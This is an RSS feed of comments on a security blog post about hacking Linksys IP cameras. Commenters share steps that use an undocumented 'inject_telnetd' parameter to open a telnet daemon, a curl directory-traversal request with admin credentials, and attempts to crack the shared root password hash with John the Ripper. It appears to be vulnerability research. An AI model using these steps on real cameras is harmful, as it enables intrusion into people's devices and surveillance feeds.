<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Hacking Linksys IP Cameras (pt 3)</title>
	<atom:link href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/</link>
	<description>Information Security Think Tank</description>
	<lastBuildDate>Thu, 11 Mar 2010 22:49:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Hacking Linksys IP Cameras (pt 6) &#124; GNUCITIZEN</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-128209</link>
		<dc:creator>Hacking Linksys IP Cameras (pt 6) &#124; GNUCITIZEN</dc:creator>
		<pubDate>Sat, 06 Mar 2010 18:03:55 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-128209</guid>
		<description>[...] 24th, 2010 This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and [...]</description>
		<content:encoded><![CDATA[<p>[...] 24th, 2010 This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bruno</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-128049</link>
		<dc:creator>Bruno</dc:creator>
		<pubDate>Wed, 16 Dec 2009 13:02:11 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-128049</guid>
		<description>The telnetd-injection is still working with the firmware &quot;1.1.00 build 2&quot;. We still need the password.

The revision history told about some security fixing. They disabled the Support of &quot;Setup Wizzard&quot;.

A new feature is the proprietary HNAP protocol. You get a xml if you try http://IP-OF-CAM/HNAP1/. Can somebody tell the truth about security of HNAP?</description>
		<content:encoded><![CDATA[<p>The telnetd-injection is still working with the firmware &#8220;1.1.00 build 2&#8243;. We still need the password.</p>
<p>The revision history told about some security fixing. They disabled the Support of &#8220;Setup Wizzard&#8221;.</p>
<p>A new feature is the proprietary HNAP protocol. You get a xml if you try <a href="http://IP-OF-CAM/HNAP1/" rel="nofollow">http://IP-OF-CAM/HNAP1/</a>. Can somebody tell the truth about security of HNAP?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nick</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-128047</link>
		<dc:creator>nick</dc:creator>
		<pubDate>Tue, 15 Dec 2009 21:49:24 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-128047</guid>
		<description>Update....

Knew I should have checked the linksys website before posting. The new 1.1 firmware is now available in their support area. It is dated 15th June 2009, which I don&#039;t think can be the date it was posted on their site, since I looked several times since then and it was not there (just the older one).

Go get it!!!!</description>
		<content:encoded><![CDATA[<p>Update&#8230;.</p>
<p>Knew I should have checked the linksys website before posting. The new 1.1 firmware is now available in their support area. It is dated 15th June 2009, which I don&#8217;t think can be the date it was posted on their site, since I looked several times since then and it was not there (just the older one).</p>
<p>Go get it!!!!</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nick</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-128046</link>
		<dc:creator>nick</dc:creator>
		<pubDate>Tue, 15 Dec 2009 21:35:28 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-128046</guid>
		<description>Maurice, very interesting information. I saw that thread on the forum when it was in its infancy and there was uncertainty about whether the 1.1 firmware was the newer one. Looks like it is, which makes the lack of its addition to the Linksys download area really odd. If they have decided it is stable enough to put on new retail cameras, it should be stable enough to post on the download area for current owners to use. Most strange. I would recommend everyone contact Linksys to ask them to make it available.

I threw John at the password on a P3 for a week or so with no luck. It was testing 180000 combinations a second and the last passwords were fairly complex. Hence, it appears that the root password is not trivial. Even though this is a &quot;simple&quot; DES password, statistics show that for a good password, you need about 1000 P4s working on it for a year in order to guarantee a crack. Hence, a lot of luck is needed if using a single machine! I do wish you luck though. In the meantime, I recommend everyone who is interested in getting their cameras working better contact Linksys regularly to ask about the new firmware.</description>
		<content:encoded><![CDATA[<p>Maurice, very interesting information. I saw that thread on the forum when it was in its infancy and there was uncertainty about whether the 1.1 firmware was the newer one. Looks like it is, which makes the lack of its addition to the Linksys download area really odd. If they have decided it is stable enough to put on new retail cameras, it should be stable enough to post on the download area for current owners to use. Most strange. I would recommend everyone contact Linksys to ask them to make it available.</p>
<p>I threw John at the password on a P3 for a week or so with no luck. It was testing 180000 combinations a second and the last passwords were fairly complex. Hence, it appears that the root password is not trivial. Even though this is a &#8220;simple&#8221; DES password, statistics show that for a good password, you need about 1000 P4s working on it for a year in order to guarantee a crack. Hence, a lot of luck is needed if using a single machine! I do wish you luck though. In the meantime, I recommend everyone who is interested in getting their cameras working better contact Linksys regularly to ask about the new firmware.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Maurice</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-127991</link>
		<dc:creator>Maurice</dc:creator>
		<pubDate>Sat, 14 Nov 2009 09:19:56 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-127991</guid>
		<description>I am still running john to get the password still nothing found.
I want the same as what Nick wants reducing the motion sensibility. There should be a firmware around that is dealing with this issue. Version 1.1.0.0 build 2 look at this forum thread. http://forums.linksysbycisco.com/linksys/board/message?board.id=Cameras&amp;thread.id=10525

If I have some luck I will post the password.</description>
		<content:encoded><![CDATA[<p>I am still running john to get the password still nothing found.<br />
I want the same as what Nick wants reducing the motion sensibility. There should be a firmware around that is dealing with this issue. Version 1.1.0.0 build 2 look at this forum thread. <a href="http://forums.linksysbycisco.com/linksys/board/message?board.id=Cameras&amp;thread.id=10525" rel="nofollow">http://forums.linksysbycisco.c.....d.id=10525</a></p>
<p>If I have some luck I will post the password.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: nick</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-127920</link>
		<dc:creator>nick</dc:creator>
		<pubDate>Fri, 16 Oct 2009 08:32:54 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-127920</guid>
		<description>I used the above to get info about this type of camera off the one I have. Nice work guys! Couple of questions. Has John finished his cogitations yet? Also, how does the camera save its altered config settings if the cramfs file system is read only...? That file must be writable by root surely. The reason I ask is that I want to mod the camera to reduce a motion detection setting (md_sensitivity). The default is ridiculously too sensitive as is widely acknowledged in many forums. I was thinking about trying to recompile the OS using the source off the linksys web site and (with having the learn it...) a cross compiler. However, being able to telnet into the camera as root and simply changing the values (default is 6) of the md sensitivity sounds much easier - providing I have root access (therefore need password) and can actually write to the config file (hence asking about the cramfs file system). Anyone got any thoughts?</description>
		<content:encoded><![CDATA[<p>I used the above to get info about this type of camera off the one I have. Nice work guys! Couple of questions. Has John finished his cogitations yet? Also, how does the camera save its altered config settings if the cramfs file system is read only&#8230;? That file must be writable by root surely. The reason I ask is that I want to mod the camera to reduce a motion detection setting (md_sensitivity). The default is ridiculously too sensitive as is widely acknowledged in many forums. I was thinking about trying to recompile the OS using the source off the linksys web site and (with having the learn it&#8230;) a cross compiler. However, being able to telnet into the camera as root and simply changing the values (default is 6) of the md sensitivity sounds much easier &#8211; providing I have root access (therefore need password) and can actually write to the config file (hence asking about the cramfs file system). Anyone got any thoughts?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Hacking Linksys IP Cameras (pt 5) &#124; GNUCITIZEN</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-127424</link>
		<dc:creator>Hacking Linksys IP Cameras (pt 5) &#124; GNUCITIZEN</dc:creator>
		<pubDate>Fri, 05 Jun 2009 08:05:48 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-127424</guid>
		<description>[...] GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt [...]</description>
		<content:encoded><![CDATA[<p>[...] GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Borys</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-127412</link>
		<dc:creator>Borys</dc:creator>
		<pubDate>Wed, 03 Jun 2009 15:03:18 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-127412</guid>
		<description>It is possible to run something via opening file with &quot;&#124;&quot; at the end?</description>
		<content:encoded><![CDATA[<p>It is possible to run something via opening file with &#8220;|&#8221; at the end?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126907</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Thu, 07 May 2009 16:31:31 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126907</guid>
		<description>For anyone interested, Bruno eventually figured out the &quot;telnetd enabling&quot; feature by

1) parsing the strings of the &#039;/adm/file.cgi&#039; binary using any of the directory traversal vulnerabilities I released in this post and 

2) trial and error. ie: experimenting with already-known parameters processed by the &#039;file.cgi&#039; program such as &#039;todo&#039; (aforementioned in this post)

For instance, you can do the following with curl:

&lt;pre&gt;&lt;code&gt;$ curl -s --url &quot;http://192.168.1.115/adm/file.cgi?todo=pwnage&amp;this_file=file.cgi&quot; -u admin:C4mP4ssw0rd &#124; strings &#124;  grep -i telnet&lt;/code&gt;&lt;/pre&gt;

Which returns:

&lt;pre&gt;&lt;code&gt;/usr/sbin/telnetd &gt; /dev/null 2&gt; /dev/null &amp;
&lt;head&gt;&lt;title&gt;Open TelnetD&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;&lt;p&gt;&lt;b&gt;&lt;font size=6&gt;Open Telnet Daemon successfully!&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/body&gt;
inject_telnetd&lt;/code&gt;&lt;/pre&gt;

Notice the last string returned (&#039;inject_telnetd&#039;) which is the value that needs to be assigned to the &#039;todo&#039; parameter in order to enable the telnet daemon.

I&#039;m guessing there must be a neat way to obtain all parameters processed by &#039;/adm/file.cgi&#039; by analyzing the binary. Using IDA Pro perhaps? the binary is of type &#039;ELF 32-bit LSB executable, ARM, version 1&#039; if anyone wants to know

&lt;pre&gt;&lt;code&gt;$ file file.cgi
file.cgi: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped&lt;/code&gt;&lt;/pre&gt;</description>
		<content:encoded><![CDATA[<p>For anyone interested, Bruno eventually figured out the &#8220;telnetd enabling&#8221; feature by</p>
<p>1) parsing the strings of the &#8216;/adm/file.cgi&#8217; binary using any of the directory traversal vulnerabilities I released in this post and </p>
<p>2) trial and error. ie: experimenting with already-known parameters processed by the &#8216;file.cgi&#8217; program such as &#8216;todo&#8217; (aforementioned in this post)</p>
<p>For instance, you can do the following with curl:</p>
<pre><code>$ curl -s --url "http://192.168.1.115/adm/file.cgi?todo=pwnage&#038;this_file=file.cgi" -u admin:C4mP4ssw0rd | strings |  grep -i telnet</code></pre>
<p>Which returns:</p>
<pre><code>/usr/sbin/telnetd &gt; /dev/null 2&gt; /dev/null &#038;
&lt;head&gt;&lt;title&gt;Open TelnetD&lt;/title&gt;&lt;/head&gt;
&lt;body&gt;&lt;p&gt;&lt;b&gt;&lt;font size=6&gt;Open Telnet Daemon successfully!&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;/body&gt;
inject_telnetd</code></pre>
<p>Notice the last string returned (&#8216;inject_telnetd&#8217;) which is the value that needs to be assigned to the &#8216;todo&#8217; parameter in order to enable the telnet daemon.</p>
<p>I&#8217;m guessing there must be a neat way to obtain all parameters processed by &#8216;/adm/file.cgi&#8217; by analyzing the binary. Using IDA Pro perhaps? the binary is of type &#8216;ELF 32-bit LSB executable, ARM, version 1&#8242; if anyone wants to know</p>
<pre><code>$ file file.cgi
file.cgi: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped</code></pre>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126905</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Thu, 07 May 2009 14:10:07 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126905</guid>
		<description>@Bruno: I can confirm that DOES work. that&#039;s a very cool backdoor/debug feature which you have discovered! awesomeness</description>
		<content:encoded><![CDATA[<p>@Bruno: I can confirm that DOES work. that&#8217;s a very cool backdoor/debug feature which you have discovered! awesomeness</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bruno</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126902</link>
		<dc:creator>Bruno</dc:creator>
		<pubDate>Thu, 07 May 2009 09:14:32 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126902</guid>
		<description>@pagvac: I am so sorry. I tried many things that evening and there was a little &#039;todo=&#039; missing. I could not remember, but I did it again - found it in my brain after thinking a long time - and here comes the uncut howto after a power on (I tried it twice, please confirm):

1. try a telnet connect to the cam like this:

telnet IP-OF-CAM
Trying IP-OF-CAM...
telnet: Unable to connect to remote host: Connection refused
result: not telnetd on cam after power on - thats standard config.

2. type in that url in your browser:

&lt;pre&gt;&lt;code&gt;http://IP-OF-CAM/adm/file.cgi?todo=inject_telnetd&lt;/code&gt;&lt;/pre&gt;

you have to type in your admin account and pwd for cam-administration. You receive error:

&lt;pre&gt;&lt;code&gt;File (null) not found&lt;/code&gt;&lt;/pre&gt;

in your Browser.

Don&#039;t care about that and don&#039;t power down the cam.

3. try again the telnet connect from step 1

&lt;pre&gt;&lt;code&gt;telnet IP-OF-CAM
Trying IP-OF-CAM...
Connected to IP-OF-CAM.
Escape character is &#039;^]&#039;.
cam login: &lt;/code&gt;&lt;/pre&gt;

Here you are and you are missing the root pwd.  Every user can get the adm-pwd with your tips and every user can start the telnet demon after reading this. Nice feature. Login ist quite a problem.</description>
		<content:encoded><![CDATA[<p>@pagvac: I am so sorry. I tried many things that evening and there was a little &#8216;todo=&#8217; missing. I could not remember, but I did it again &#8211; found it in my brain after thinking a long time &#8211; and here comes the uncut howto after a power on (I tried it twice, please confirm):</p>
<p>1. try a telnet connect to the cam like this:</p>
<p>telnet IP-OF-CAM<br />
Trying IP-OF-CAM&#8230;<br />
telnet: Unable to connect to remote host: Connection refused<br />
result: not telnetd on cam after power on &#8211; thats standard config.</p>
<p>2. type in that url in your browser:</p>
<pre><code><a href="http://IP-OF-CAM/adm/file.cgi?todo=inject_telnetd" rel="nofollow">http://IP-OF-CAM/adm/file.cgi?todo=inject_telnetd</a></code></pre>
<p>you have to type in your admin account and pwd for cam-administration. You receive error:</p>
<pre><code>File (null) not found</code></pre>
<p>in your Browser.</p>
<p>Don&#8217;t care about that and don&#8217;t power down the cam.</p>
<p>3. try again the telnet connect from step 1</p>
<pre><code>telnet IP-OF-CAM
Trying IP-OF-CAM...
Connected to IP-OF-CAM.
Escape character is '^]'.
cam login: </code></pre>
<p>Here you are and you are missing the root pwd.  Every user can get the adm-pwd with your tips and every user can start the telnet demon after reading this. Nice feature. Login ist quite a problem.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126795</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Sat, 02 May 2009 23:52:19 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126795</guid>
		<description>@Bruno: i cannot replicate the steps you provided, although i can confirm the &#039;inject_telnetd&#039; string is part of the &#039;/adm/file.cgi&#039; binary. I tried accessing the URL you provided after logging in with the &#039;admin&#039; account and no luck :(

Am I missing anything?

btw, my john session is still running and still no luck. not sure if gat3way managed to get anywhere with his john session?</description>
		<content:encoded><![CDATA[<p>@Bruno: i cannot replicate the steps you provided, although i can confirm the &#8216;inject_telnetd&#8217; string is part of the &#8216;/adm/file.cgi&#8217; binary. I tried accessing the URL you provided after logging in with the &#8216;admin&#8217; account and no luck :(</p>
<p>Am I missing anything?</p>
<p>btw, my john session is still running and still no luck. not sure if gat3way managed to get anywhere with his john session?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bruno</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126679</link>
		<dc:creator>Bruno</dc:creator>
		<pubDate>Sun, 26 Apr 2009 23:57:38 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126679</guid>
		<description>Hi together,

I&#039;ve found a way to start the telnet daemon (Firmware V1.00R24).

&lt;pre&gt;&lt;code&gt;/adm/file.cgi?inject_telnetd&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code&gt;telnet cam
Trying xxx.xxx.xxx.xxx...
Connected to cam.
Escape character is &#039;^]&#039;.
cam login:  
Login timed out after 60 seconds.
Connection closed by foreign host.&lt;/code&gt;&lt;/pre&gt;

But not the pwd? What does John say?

Greetings
Bruno</description>
		<content:encoded><![CDATA[<p>Hi together,</p>
<p>I&#8217;ve found a way to start the telnet daemon (Firmware V1.00R24).</p>
<pre><code>/adm/file.cgi?inject_telnetd</code></pre>
<pre><code>telnet cam
Trying xxx.xxx.xxx.xxx...
Connected to cam.
Escape character is '^]'.
cam login:
Login timed out after 60 seconds.
Connection closed by foreign host.</code></pre>
<p>But not the pwd? What does John say?</p>
<p>Greetings<br />
Bruno</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ladinu</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126664</link>
		<dc:creator>Ladinu</dc:creator>
		<pubDate>Sat, 25 Apr 2009 22:26:48 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126664</guid>
		<description>Talked to a friend who had a different model (CIC-930W). The vuln work for this one too. The root password hash is the same.</description>
		<content:encoded><![CDATA[<p>Talked to a friend who had a different model (CIC-930W). The vuln work for this one too. The root password hash is the same.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Hacking Linksys IP Cameras (pt 4) &#124; GNUCITIZEN</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126653</link>
		<dc:creator>Hacking Linksys IP Cameras (pt 4) &#124; GNUCITIZEN</dc:creator>
		<pubDate>Sat, 25 Apr 2009 10:22:38 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126653</guid>
		<description>[...] The Network      Hacking Linksys IP Cameras (pt 4) published: April 25th, 2009 This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3). [...]</description>
		<content:encoded><![CDATA[<p>[...] The Network      Hacking Linksys IP Cameras (pt 4) published: April 25th, 2009 This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3). [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126648</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Fri, 24 Apr 2009 16:43:47 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126648</guid>
		<description>@gat3way: hehe, im curious too. i&#039;ve had john running for a while, but no luck yet. last password it tried was &#039;Tr92m3l&#039;, so it&#039;s tried relatively-complex passwords already. anyways, please post the password if you leave the cracking session for long enough and finally obtain it .</description>
		<content:encoded><![CDATA[<p>@gat3way: hehe, im curious too. i&#8217;ve had john running for a while, but no luck yet. last password it tried was &#8216;Tr92m3l&#8217;, so it&#8217;s tried relatively-complex passwords already. anyways, please post the password if you leave the cracking session for long enough and finally obtain it .</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: gat3way</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126646</link>
		<dc:creator>gat3way</dc:creator>
		<pubDate>Fri, 24 Apr 2009 14:39:12 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126646</guid>
		<description>Anyway, I&#039;m now running john against the DES-crypted password. We&#039;ll see what is going to come out after the weekend. I&#039;m curious about what default root password did Cisco/Linksys guys choose.</description>
		<content:encoded><![CDATA[<p>Anyway, I&#8217;m now running john against the DES-crypted password. We&#8217;ll see what is going to come out after the weekend. I&#8217;m curious about what default root password did Cisco/Linksys guys choose.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126644</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Fri, 24 Apr 2009 13:19:55 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126644</guid>
		<description>@Ladinu: thanks a lot for testing. That&#039;s very useful to know. I wonder if other Linksys camera models different to the WVC54GCA also come with the same root password?</description>
		<content:encoded><![CDATA[<p>@Ladinu: thanks a lot for testing. That&#8217;s very useful to know. I wonder if other Linksys camera models different to the WVC54GCA also come with the same root password?</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Ladinu</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126638</link>
		<dc:creator>Ladinu</dc:creator>
		<pubDate>Fri, 24 Apr 2009 01:33:51 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126638</guid>
		<description>I just got this camera (same model) and tested out the vuln. It looks like that all linksys cameras have the same password.</description>
		<content:encoded><![CDATA[<p>I just got this camera (same model) and tested out the vuln. It looks like that all linksys cameras have the same password.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: pagvac</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/comment-page-1/#comment-126635</link>
		<dc:creator>pagvac</dc:creator>
		<pubDate>Thu, 23 Apr 2009 19:05:16 +0000</pubDate>
		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019#comment-126635</guid>
		<description>@gat3way: the web server MUST run as root since &#039;root&#039; is the only OS account available (see contents of &lt;code&gt;/etc/passwd&lt;/code&gt; file shown in this post).

This can be confirmed by retrieving the contents of &lt;code&gt;/usr/local/bin/thttpd.conf&lt;/code&gt; using any of the directory traversal vulnerabilities I just released. Notice the line containing &lt;code&gt;user=root&lt;/code&gt;:

&lt;pre&gt;&lt;code&gt;# This section overrides defaults
dir=/usr/local/www
#dir=/tmp/www
user=root	# default = nobody
#logfile=/var/log/thttpd.log
pidfile=/var/run/thttpd.pid
cgipat=cgi&#124;cfg&#124;sdp&#124;jpg
# This section _documents_ defaults in effect
# port=80
nosymlink	# default = !chroot
novhost
# nocgipat
# nothrottles
# host=0.0.0.0
# charset=iso-8859-1&lt;/code&gt;&lt;/pre&gt;

However, you&#039;re probably right that the filesystem is cramfs, which (as you said) would mean that a file upload vuln would NOT help getting our root shell.

From http://en.wikipedia.org/wiki/Cramfs:

&lt;blockquote&gt;The file system is intentionally read-only to simplify its design&lt;/blockquote&gt;</description>
		<content:encoded><![CDATA[<p>@gat3way: the web server MUST run as root since &#8216;root&#8217; is the only OS account available (see contents of <code>/etc/passwd</code> file shown in this post).</p>
<p>This can be confirmed by retrieving the contents of <code>/usr/local/bin/thttpd.conf</code> using any of the directory traversal vulnerabilities I just released. Notice the line containing <code>user=root</code>:</p>
<pre><code># This section overrides defaults
dir=/usr/local/www
#dir=/tmp/www
user=root	# default = nobody
#logfile=/var/log/thttpd.log
pidfile=/var/run/thttpd.pid
cgipat=cgi|cfg|sdp|jpg
# This section _documents_ defaults in effect
# port=80
nosymlink	# default = !chroot
novhost
# nocgipat
# nothrottles
# host=0.0.0.0
# charset=iso-8859-1</code></pre>
<p>However, you&#8217;re probably right that the filesystem is cramfs, which (as you said) would mean that a file upload vuln would NOT help getting our root shell.</p>
<p>From <a href="http://en.wikipedia.org/wiki/Cramfs" rel="nofollow">http://en.wikipedia.org/wiki/Cramfs</a>:</p>
<blockquote><p>The file system is intentionally read-only to simplify its design</p></blockquote>
]]></content:encoded>
	</item>
</channel>
</rss>
